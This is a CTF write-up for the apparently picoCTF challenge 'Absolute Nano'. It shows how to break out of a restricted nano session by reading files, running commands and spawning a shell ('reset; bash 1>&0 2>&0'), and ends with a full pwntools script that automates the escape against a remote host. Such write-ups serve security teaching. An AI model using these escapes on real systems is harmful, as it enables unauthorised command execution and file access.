│ Category: General Skills
│ Difficulty: Medium
│ Points: 200
│ Author: Imattas aka Zemi
────────────────────────────────────────────────────────────────────────────────
--[ Challenge Description ]--
│ You have complete power with nano. Think you can get the flag?
────────────────────────────────────────────────────────────────────────────────
--[ Recon / Initial Analysis ]--
This challenge drops you into a nano text editor session on a remote server. The
goal is to escape the editor environment and read the flag file. This is a
classic GTFOBins-style challenge -- nano has built-in capabilities to execute
shell commands and read files, which can be leveraged to break out of the
restricted environment.
According to GTFOBins https://gtfobins.github.io/gtfobins/nano/, nano can be
used to:
- Read files directly
- Execute arbitrary commands
- Spawn interactive shells
────────────────────────────────────────────────────────────────────────────────
--[ Vulnerability / Observation ]--
Key capabilities of nano that are useful here:
1. Read File (Ctrl+R): Insert the contents of another file into the current
buffer. This can be used to directly read /flag.txt or similar flag file paths.
2. Execute Command (Ctrl+R, then Ctrl+X in older nano / Ctrl+T in some
versions): After pressing Ctrl+R (Read File), pressing Ctrl+X or Ctrl+T switches
to "Execute Command" mode. This allows you to run arbitrary shell commands and
pipe their output into the editor buffer.
3. Spawn a shell: Using the execute command feature, you can run sh, bash, or
reset; sh 1>&0 2>&0 to get a full interactive shell.
────────────────────────────────────────────────────────────────────────────────
--[ Exploitation / Solution ]--
:: Method 1: Read the flag file directly with Ctrl+R
1. Connect to the challenge server (SSH or netcat).
2. You are dropped into nano.
3. Press Ctrl+R (Read File).
4. Type the path to the flag file, e.g., /flag.txt or /home/ctf/flag.txt, and
press Enter.
5. The flag contents are inserted into the buffer and displayed on screen.
Common flag file locations to try:
- /flag.txt
- /flag
- /home/ctf/flag.txt
- /root/flag.txt
- ~/flag.txt
:: Method 2: Execute a command to find and read the flag
1. In nano, press Ctrl+R (Read File).
2. Press Ctrl+X (or Ctrl+T depending on version) to switch to "Execute Command"
mode.
3. Type: cat /flag.txt and press Enter.
4. The flag is inserted into the editor buffer.
If you don't know where the flag is:
1. Execute: find / -name "flag*" 2>/dev/null
2. This shows all files with "flag" in the name.
3. Then read the discovered file.
:: Method 3: Spawn a full shell
1. Press Ctrl+R, then Ctrl+X (or Ctrl+T).
2. Type: reset; bash 1>&0 2>&0 and press Enter.
3. You now have a full shell. Use ls, find, and cat to locate and read the flag.
:: Method 4: Use Ctrl+T directly (some nano versions)
1. Press Ctrl+T (Execute Command / Spell Check depending on version).
2. Type: cat /flag.txt
3. The output appears in the buffer.
────────────────────────────────────────────────────────────────────────────────
--[ Full Exploit Script ]--
-- python --
#!/usr/bin/env python3
"""
ABSOLUTE NANO - picoCTF 2026
Category: General Skills | Points: 200
The challenge gives you a nano editor session. You need to escape it
and read the flag. Nano has built-in capabilities to read files and
execute commands (documented on GTFOBins).
This script automates the interaction using pwntools to send the
appropriate keystrokes to nano to read the flag.
Requirements:
pip install pwntools
Usage:
python3 solve.py [HOST] [PORT]
Or for SSH-based challenges:
python3 solve.py --ssh HOST PORT USERNAME [PASSWORD]
"""
import sys
import re
import time
import argparse
# Nano control key sequences
CTRL_R = b'\x12' # Ctrl+R = Read File / Insert File
CTRL_X = b'\x18' # Ctrl+X = Exit (or Execute in read-file mode)
CTRL_T = b'\x14' # Ctrl+T = Execute Command / To Spell
CTRL_C = b'\x03' # Ctrl+C = Cancel
ENTER = b'\n'
# Common flag file locations
FLAG_PATHS = [
"/flag.txt",
"/flag",
"/home/ctf/flag.txt",
"/root/flag.txt",
"/home/user/flag.txt",
"/challenge/flag.txt",
]
def extract_flag(data):
"""Search for picoCTF flag pattern in data."""
if isinstance(data, bytes):
data = data.decode('utf-8', errors='replace')
match = re.search(r'picoCTF\{[^}]+\}', data)
if match:
return match.group(0)
return None
def try_read_file(io, filepath):
"""
Use nano's Ctrl+R (Read File) to insert a file's contents.
Returns the received data.
"""
# Ctrl+R to open "Read File" prompt
io.send(CTRL_R)
time.sleep(0.5)
# Type the file path and press Enter
io.send(filepath.encode() + ENTER)
time.sleep(1)
# Read whatever nano shows us
data = io.recv(timeout=2)
return data
def try_execute_command(io, command):
"""
Use nano's Ctrl+R then Ctrl+X (or Ctrl+T) to execute a command.
The command output is inserted into the editor buffer.
Returns the received data.
"""
# Ctrl+R to open "Read File" prompt
io.send(CTRL_R)
time.sleep(0.3)
# Ctrl+X to switch to "Execute Command" mode (works in many nano versions)
io.send(CTRL_X)
time.sleep(0.3)
# Type command and press Enter
io.send(command.encode() + ENTER)
time.sleep(1)
data = io.recv(timeout=2)
return data
def try_execute_via_ctrl_t(io, command):
"""
Alternative: use Ctrl+R then Ctrl+T to execute a command.
Some nano versions use Ctrl+T instead of Ctrl+X for execute mode.
"""
io.send(CTRL_R)
time.sleep(0.3)
io.send(CTRL_T)
time.sleep(0.3)
io.send(command.encode() + ENTER)
time.sleep(1)
data = io.recv(timeout=2)
return data
def solve_remote(host, port):
"""Connect to a remote challenge via TCP and solve it."""
from pwn import remote, context
context.log_level = 'info'
print(f"[*] Connecting to {host}:{port}...")
io = remote(host, int(port))
# Wait for nano to initialize
time.sleep(2)
initial = io.recv(timeout=3)
print(f"[*] Initial data received ({len(initial)} bytes)")
flag = extract_flag(initial)
if flag:
print(f"[FLAG] {flag}")
io.close()
return flag
# Method 1: Try reading flag files directly with Ctrl+R
print("\n[*] Method 1: Trying to read flag files directly with Ctrl+R...")
for path in FLAG_PATHS:
print(f" [*] Trying: {path}")
data = try_read_file(io, path)
flag = extract_flag(data)
if flag:
print(f"\n[FLAG] {flag}")
io.close()
return flag
# Method 2: Execute commands via Ctrl+R then Ctrl+X
print("\n[*] Method 2: Trying command execution via Ctrl+R, Ctrl+X...")
commands = [
"cat /flag.txt",
"cat /flag",
"find / -name 'flag*' -exec cat {} \\; 2>/dev/null",
"ls -la /",
"ls -la /home/",
"env", # Flag might be in environment variables
]
for cmd in commands:
print(f" [*] Executing: {cmd}")
data = try_execute_command(io, cmd)
flag = extract_flag(data)
if flag:
print(f"\n[FLAG] {flag}")
io.close()
return flag
if data:
print(f" [>] Output: {data.decode('utf-8', errors='replace')[:200]}")
# Method 3: Try Ctrl+T variation
print("\n[*] Method 3: Trying command execution via Ctrl+R, Ctrl+T...")
for cmd in commands[:3]:
print(f" [*] Executing: {cmd}")
data = try_execute_via_ctrl_t(io, cmd)
flag = extract_flag(data)
if flag:
print(f"\n[FLAG] {flag}")
io.close()
return flag
if data:
print(f" [>] Output: {data.decode('utf-8', errors='replace')[:200]}")
# Method 4: Spawn a shell
print("\n[*] Method 4: Attempting to spawn a shell...")
data = try_execute_command(io, "bash")
time.sleep(1)
# In the shell, try to find the flag
shell_commands = [
"cat /flag.txt",
"cat /flag",
"find / -name 'flag*' 2>/dev/null | head -5",
"cat /home/*/flag*",
]
for cmd in shell_commands:
io.sendline(cmd.encode())
time.sleep(1)
data = io.recv(timeout=2)
flag = extract_flag(data)
if flag:
print(f"\n[FLAG] {flag}")
io.close()
return flag
if data:
print(f" [>] {data.decode('utf-8', errors='replace')[:200]}")
print("\n[!] Could not find the flag automatically.")
print("[*] Dropping to interactive mode. Try manually:")
print(" Ctrl+R -> type flag path -> Enter")
print(" Ctrl+R -> Ctrl+X -> type command -> Enter")
io.interactive()
io.close()
return None
def solve_ssh(host, port, username, password=None):
"""Connect to a remote challenge via SSH and solve it."""
from pwn import ssh as pwnssh, context
context.log_level = 'info'
print(f"[*] Connecting via SSH to {username}@{host}:{port}...")
kwargs = {"host": host, "port": int(port), "user": username}
if password:
kwargs["password"] = password
shell = pwnssh(**kwargs)
io = shell.process("bash")
# Try to find and read the flag directly
io.sendline(b"find / -name 'flag*' 2>/dev/null")
time.sleep(2)
data = io.recv(timeout=3)
print(f"[*] Flag search results: {data.decode('utf-8', errors='replace')}")
io.sendline(b"cat /flag.txt 2>/dev/null || cat /flag 2>/dev/null || cat ~/flag.txt 2>/dev/null")
time.sleep(1)
data = io.recv(timeout=2)
flag = extract_flag(data)
if flag:
print(f"\n[FLAG] {flag}")
io.close()
shell.close()
return flag
print("[*] Dropping to interactive mode...")
io.interactive()
io.close()
shell.close()
return None
def main():
parser = argparse.ArgumentParser(description="ABSOLUTE NANO - picoCTF 2026 Solver")
parser.add_argument("host", nargs="?", default=None, help="Remote host")
parser.add_argument("port", nargs="?", default=None, help="Remote port")
parser.add_argument("--ssh", action="store_true", help="Use SSH connection")
parser.add_argument("--user", default="ctf-player", help="SSH username (default: ctf-player)")
parser.add_argument("--password", default=None, help="SSH password")
args = parser.parse_args()
print("=" * 60)
print("ABSOLUTE NANO - picoCTF 2026")
print("Escape nano editor to read the flag")
print("=" * 60)
if not args.host or not args.port:
print("\n[!] No host/port provided. Showing manual solution steps:\n")
print("1. Connect to the challenge server")
print("2. You will be dropped into nano")
print("3. Press Ctrl+R to open 'Read File' prompt")
print("4. Type the path to the flag file (e.g., /flag.txt) and press Enter")
print(" - The flag contents will be inserted into the editor buffer")
print("")
print("Alternative (execute a command):")
print("3. Press Ctrl+R, then press Ctrl+X (or Ctrl+T)")
print("4. Type: cat /flag.txt")
print("5. Press Enter -- the flag appears in the buffer")
print("")
print("Alternative (spawn a shell):")
print("3. Press Ctrl+R, then press Ctrl+X (or Ctrl+T)")
print("4. Type: reset; bash 1>&0 2>&0")
print("5. Press Enter -- you now have a shell")
print("6. Run: cat /flag.txt")
print("")
print(f"Usage: python3 {sys.argv[0]} <host> <port>")
print(f" python3 {sys.argv[0]} --ssh <host> <port> --user ctf-player")
return
if args.ssh:
solve_ssh(args.host, args.port, args.user, args.password)
else:
solve_remote(args.host, args.port)
if __name__ == "__main__":
main()
────────────────────────────────────────────────────────────────────────────────
--[ Key Takeaways ]--
- Restricted editor environments like nano are a classic privilege/sandbox
escape vector -- the editor's legitimate features (read file, execute command,
spawn shell) become the exploit.
- Ctrl+R inserts file contents into the buffer; combined with Ctrl+X/Ctrl+T it
switches to "Execute Command" mode for arbitrary shell execution.
- Knowing common flag locations (/flag.txt, /flag, /home/*/flag.txt,
/root/flag.txt) speeds up the search; otherwise find / -name "flag*" locates it.
- reset; bash 1>&0 2>&0 upgrades the breakout into a full interactive shell.
- GTFOBins is the reference for what restricted binaries can be abused to do.